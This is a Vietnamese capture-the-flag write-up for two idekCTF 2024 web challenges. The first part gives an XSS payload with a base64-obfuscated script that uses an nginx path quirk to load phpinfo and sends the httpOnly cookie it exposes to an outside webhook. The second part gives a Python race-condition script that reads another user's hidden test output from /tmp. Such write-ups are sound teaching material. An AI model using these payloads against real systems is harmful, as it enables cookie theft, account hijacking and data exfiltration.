---
# System prepended metadata

title: Writeup idekCTF 2024 (Web challenges)
tags: [writeup]

---

# web/Hello

[Attachments](https://idekctf-challenges.storage.googleapis.com/uploads/f64f1dd16fae27e943a8f7dab349e00509f39c63bb2278328ac5783d867fa393/idek-hello.tar.gz)
Challenge có cấu trúc thư mục như sau:

![image](https://hackmd.io/_uploads/Hyql0KJjC.png)

**index.php**
```php
<?php


function Enhanced_Trim($inp) {
    $trimmed = array("\r", "\n", "\t", "/", " ");
    return str_replace($trimmed, "", $inp);
}


if(isset($_GET['name']))
{
    $name=substr($_GET['name'],0,23);
    echo "Hello, ".Enhanced_Trim($_GET['name']);
}

?>
```

**info.php**
```php    
<?php
phpinfo();
?>
```

**nginx.conf**

```php    
user www-data;
worker_processes  1;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;

        location / {
            root   /usr/share/nginx/html;
            index  index.php index.html index.htm;
        }

        location = /info.php {
        allow 127.0.0.1;
        deny all;
        }

        location ~ \.php$ {
        root           /usr/share/nginx/html;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include fastcgi_params;  
        fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
        }

    }
}
```

Đây là một challenge XSS, tại file index.php thì ta có thể XSS thoải mái bằng payload sau:

```javascript    
<img%0csrc="1"onerror=alert(1)>
```

(%0c thay cho kí tự space đã bị filter)

Chuyện không có gì đáng nói cho đến khi nhìn thấy `httpOnly: true`

![image](https://hackmd.io/_uploads/rJ8z1cyiR.png)

Đến đây thì chắc chắn không thể nào lấy cookie trực tiếp từ con bot rồi.

Sau một hồi nghĩ cách thì tìm thấy một bài viết như sau

https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/

Tóm gọn thì, `phpinfo()` có lưu lại cookie của ta.

Đến đây chỉ cần dùng bot đọc `phpinfo` sau đó gửi đến webhook là win rồi nhưng không.

`/info.php` chỉ ip local là `127.0.0.1` mới có thể access.

Lúc đầu mình cứ tưởng conbot có ip local (127.0.0.1), và mất nhiều thời gian để thử payload nhưng kết quả không nhận được gì.

Lổ hổng thật sự nằm tại file `nginx.conf`

Đoạn này mình bị chặn truy cập `/info.php`

![image](https://hackmd.io/_uploads/SJohgq1jR.png)

Nhưng nó bị miss đoạn này

![image](https://hackmd.io/_uploads/SJxAe5ys0.png)

Như ta thấy là chỉ cần path có `.php` thì nó sẽ tìm xem trong thư mục `/usr/share/nginx/html` có file đó không.

Thế nên mình lợi dụng chỗ `location ~ \.php$` bằng cách truy cập  `/info.php/cai_meo_gi_cung_duoc.php`
 
 Lúc này do trong thư mục có `/usr/share/nginx/html` có `info.php` là một file rồi
Cho nên phần đằng sau nó bỏ qua -> Ta bypass được 

Vậy là win

Script js như sau

```javascript    
fetch('/info.php/cai_meo_gi_cung_duoc.php')
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
    console.log('Response from /info.php:', response);
    return response.text();
  })
  .then(data => {
    const encodedData = btoa(unescape(encodeURIComponent(data)));
    console.log('Data:', data);
    return fetch('https://5ku5refp.requestrepo.com', {  
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      },
      body: 'flag=' + encodedData
    });
  })
  .then(response => {
    if (!response.ok) {
      throw new Error('POST request failed');
    }
    console.log('POST request was successful:', response);
  })
  .catch(error => {
    console.error('Error:', error);
  });
```

Payload cuối cùng:

```js    
<img%0csrc="1"onerror=eval(atob('ZmV0Y2goJy9pbmZvLnBocC9jYWlfbWVvX2dpX2N1bmdfZHVvYy5waHAnKQogIC50aGVuKHJlc3BvbnNlID0%2bIHsKICAgIGlmICghcmVzcG9uc2Uub2spIHsKICAgICAgdGhyb3cgbmV3IEVycm9yKCdOZXR3b3JrIHJlc3BvbnNlIHdhcyBub3Qgb2snKTsKICAgIH0KICAgIGNvbnNvbGUubG9nKCdSZXNwb25zZSBmcm9tIC9pbmZvLnBocDonLCByZXNwb25zZSk7CiAgICByZXR1cm4gcmVzcG9uc2UudGV4dCgpOwogIH0pCiAgLnRoZW4oZGF0YSA9PiB7CiAgICBjb25zdCBlbmNvZGVkRGF0YSA9IGJ0b2EodW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KGRhdGEpKSk7CiAgICBjb25zb2xlLmxvZygnRGF0YTonLCBkYXRhKTsKICAgIHJldHVybiBmZXRjaCgnaHR0cHM6Ly81a3U1cmVmcC5yZXF1ZXN0cmVwby5jb20nLCB7ICAKICAgICAgbWV0aG9kOiAnUE9TVCcsCiAgICAgIGhlYWRlcnM6IHsKICAgICAgICAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcKICAgICAgfSwKICAgICAgYm9keTogJ2ZsYWc9JyArIGVuY29kZWREYXRhCiAgICB9KTsKICB9KQogIC50aGVuKHJlc3BvbnNlID0%2bIHsKICAgIGlmICghcmVzcG9uc2Uub2spIHsKICAgICAgdGhyb3cgbmV3IEVycm9yKCdQT1NUIHJlcXVlc3QgZmFpbGVkJyk7CiAgICB9CiAgICBjb25zb2xlLmxvZygnUE9TVCByZXF1ZXN0IHdhcyBzdWNjZXNzZnVsOicsIHJlc3BvbnNlKTsKICB9KQogIC5jYXRjaChlcnJvciA9PiB7CiAgICBjb25zb2xlLmVycm9yKCdFcnJvcjonLCBlcnJvcik7CiAgfSk7'))>
```


Kết quả:

![image](https://hackmd.io/_uploads/Hk5oM5yjR.png)

`Flag: idek{Ghazy_N3gm_Elbalad}`

# web/crator

[Attachments](https://idekctf-challenges.storage.googleapis.com/uploads/c439adb5dfc98f949c75a2c0d22b63e0ebab084b91062d62954d7ad0f6dd938f/crator.tar.gz)

Cấu trúc thư mục như sau

```
├── app.py
├── db.py
├── db.sqlite
├── sandbox.py
└── templates
    ├── index.html
    ├── layout.html
    ├── login.html
    ├── problem.html
    ├── register.html
    ├── submission.html
    ├── submissions.html
    └── submit.html
```

Giao diện web như sau, trang web mô phỏng một trang web luyện tương tự hackerank,codeforce

![image](https://hackmd.io/_uploads/HkCGwG8oA.png)

Chỉ những hàm các hàm có sẵn trong whitelist mới được phép sử dụng để tránh thực thi các hàm nguy hiểm -> RCE

`sandbox.py` như sau

```python
builtins_whitelist = set(
    (
        "RuntimeError",
        "Exception",
        "KeyboardInterrupt",
        "False",
        "None",
        "True",
        "bytearray",
        "bytes",
        "dict",
        "float",
        "int",
        "list",
        "object",
        "set",
        "str",
        "tuple",
        "abs",
        "all",
        "any",
        "apply",
        "bin",
        "bool",
        "buffer",
        "callable",
        "chr",
        "classmethod",
        "cmp",
        "coerce",
        "compile",
        "delattr",
        "dir",
        "divmod",
        "enumerate",
        "filter",
        "format",
        "hasattr",
        "hash",
        "hex",
        "id",
        "input",
        "isinstance",
        "issubclass",
        "iter",
        "len",
        "map",
        "max",
        "min",
        "next",
        "oct",
        "open",
        "ord",
        "pow",
        "print",
        "property",
        "range",
        "reduce",
        "repr",
        "reversed",
        "round",
        "setattr",
        "slice",
        "sorted",
        "staticmethod",
        "sum",
        "super",
        "unichr",
        "xrange",
        "zip",
        "len",
        "sort",
    )
)


class ReadOnlyBuiltins(dict):
    def clear(self):
        raise RuntimeError("Nein")

    def __delitem__(self, key):
        raise RuntimeError("Nein")

    def pop(self, key, default=None):
        raise RuntimeError("Nein")

    def popitem(self):
        raise RuntimeError("Nein")

    def setdefault(self, key, value):
        raise RuntimeError("Nein")

    def __setitem__(self, key, value):
        raise RuntimeError("Nein")

    def update(self, dict, **kw):
        raise RuntimeError("Nein")


def _safe_open(open, submission_id):
    def safe_open(file, mode="r"):
        if mode != "r":
            raise RuntimeError("Nein")
        file = str(file)
        if file.endswith(submission_id + ".expected"):
            raise RuntimeError("Nein")
        return open(file, "r")

    return safe_open


class Sandbox(object):
    def __init__(self, submission_id):
        import sys
        from ctypes import pythonapi, POINTER, py_object

        _get_dict = pythonapi._PyObject_GetDictPtr
        _get_dict.restype = POINTER(py_object)
        _get_dict.argtypes = [py_object]
        del pythonapi, POINTER, py_object

        def dictionary_of(ob):
            dptr = _get_dict(ob)
            return dptr.contents.value
        type_dict = dictionary_of(type)
        del type_dict["__bases__"]
        del type_dict["__subclasses__"]
        original_builtins = sys.modules["__main__"].__dict__["__builtins__"].__dict__
        original_builtins["open"] = _safe_open(open, submission_id)
        for builtin in list(original_builtins):
            if builtin not in builtins_whitelist:
                del sys.modules["__main__"].__dict__["__builtins__"].__dict__[builtin]
        safe_builtins = ReadOnlyBuiltins(original_builtins)
        sys.modules["__main__"].__dict__["__builtins__"] = safe_builtins
        if hasattr(sys.modules["__main__"], "__file__"):
            del sys.modules["__main__"].__file__
        if hasattr(sys.modules["__main__"], "__loader__"):
            del sys.modules["__main__"].__loader__
        for key in [
            "__loader__",
            "__spec__",
            "origin",
            "__file__",
            "__cached__",
            "ReadOnlyBuiltins",
            "Sandbox",
        ]:
            if key in sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__:
                del sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__[key]

```

Flag sẽ là phần output của testcase 2, nhưng bị ẩn đi

![image](https://hackmd.io/_uploads/HyuAwfLiC.png)

Và tất nhiên là phần input sẽ không nhập flag vào

![image](https://hackmd.io/_uploads/Ska7ufLi0.png)

Mỗi lần submit thì chương trình sẽ tạo ra file `/tmp/{submission_id}.expected` tương ứng với mỗi testcase để chứa expected output.

![image](https://hackmd.io/_uploads/r1d3uGUsC.png)

```python    
try:
    proc = subprocess.run(f'sudo -u nobody -g nogroup python3 /tmp/{submission_id}.py < /tmp/{submission_id}.in > /tmp/{submission_id}.out', shell=True, timeout=1)
    if proc.returncode != 0:
        submission.status = 'Runtime Error'
        skip_remaining_cases = True
        submission_case.status = 'Runtime Error'
    else:
        diff = subprocess.run(f'diff /tmp/{submission_id}.out /tmp/{submission_id}.expected', shell=True, capture_output=True)
        if diff.stdout:
            submission.status = 'Wrong Answer'
            skip_remaining_cases = True
            submission_case.status = 'Wrong Answer'
        else:
            submission_case.status = 'Accepted'
except subprocess.TimeoutExpired:
    submission.status = 'Time Limit Exceeded'
    skip_remaining_cases = True
    submission_case.status = 'Time Limit Exceeded'
```

Chương trình sẽ so sánh input ta nhập với file `{submission_id}.expected` thông qua lệnh `diff`. Nếu đúng thì in ra `Accepted`, ngược lại thì in ra `Wrong Answer`

Chương trình có time limit là 1s

Sau khi chạy sau các file vừa được tạo sẽ bị xóa hết

![image](https://hackmd.io/_uploads/ryg2pMLiC.png)
![image](https://hackmd.io/_uploads/HkZgAGLj0.png)

Nhưng submission_id sẽ không bị đặt lại về 1, các submisson sau được tạo thì submission_id sẽ vẫn được tăng tiến dần dần (do submission_id được lấy từ database)

Ở đây mình sẽ debug local bằng comment hàm `__cleanup_test_case` lại

![image](https://hackmd.io/_uploads/r12mkXIiR.png)

Chạy thử trường hợp testcase đầu bị sai

![Screenshot 2024-08-23 212903](https://hackmd.io/_uploads/r18-lXIoA.png)

Thì file `{submission_id}.expected` được tạo ra sẽ là

![image](https://hackmd.io/_uploads/r127em8s0.png)

Trong trường hợp testcase đầu chạy đúng

![Screenshot 2024-08-23 214406](https://hackmd.io/_uploads/H18Oem8s0.png)

![image](https://hackmd.io/_uploads/BypKxQLjR.png)

File `{submission_id}.expected` sẽ chứa flag

Chương trình sẽ chạy tối đa 1s trước khi bị timeout, câu hỏi đặt ra là nếu ta truy cập file `{submission_id}.expected` trước khi nó bị xóa thì có được không?

Câu trả lời là có, chúng ta sẽ tạo ra 2 user

- User đầu tiên sẽ dùng để tạo ra file `{submission_id}.expected` có chứa flag, và sẽ cho chạy vòng lặp đến khi bị timeout
- User thứ 2 sẽ dùng để đọc file `/tmp/{submission_id}.expected` của user 1 trước khi user bị timeout

Cả 2 sẽ được thực hiện đồng thời trong vòng 1 giây

User 1:

![image](https://hackmd.io/_uploads/Bk89EXUjR.png)

User 2:

![image](https://hackmd.io/_uploads/Hk2kHX8iC.png)

Nếu thành công flag sẽ được hiển thị ở đây 
![Screenshot 2024-08-23 221251](https://hackmd.io/_uploads/r1LHvQLsR.png)


Thật ra dùng tay để chạy cả 2 cùng lúc cũng được, nhưng mà mình sẽ tập code cho quen

solve.py

```python    
import requests, time, threading

url = "https://crator-cba29794c90f2532.instancer.idek.team/submit/helloinput"
def user1():
    cookies_user1 = {"session": "eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6ImEifQ.ZsinZw.Iw4WzikWmc9TgTyFx_-RI7QBMjs"}
    code_user1 = {"code": "a = input()\r\nif a == \"Welcome to Crator\":\r\n    print(a)\r\nelse:\r\n    while 1:\r\n        pass"}
    requests.post(url, cookies=cookies_user1, data=code_user1)

t = threading.Thread(target=user1)
t.start()
time.sleep(0.2) # Wait for user1 to finish running test case 1 and successfully create the flag

#user2
cookies_user2 = {"session": "eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6ImIifQ.Zsingg.Q17jn58CP7Q_evylq2KFRkj1sGw"}
code_user2 = {"code": "print(*open(\"/tmp/1.expected\"))"}
r = requests.post(url, cookies=cookies_user2, data=code_user2)
flag = r.text.split("idek{")[1].split("}")[0]
print("idek{"+flag+"}")
```

Kết quả

![image](https://hackmd.io/_uploads/B1UWKQUsA.png)

`Flag: idek{1m4g1n3_n0t_h4v1ng_pr0p3r_s4ndb0x1ng}`
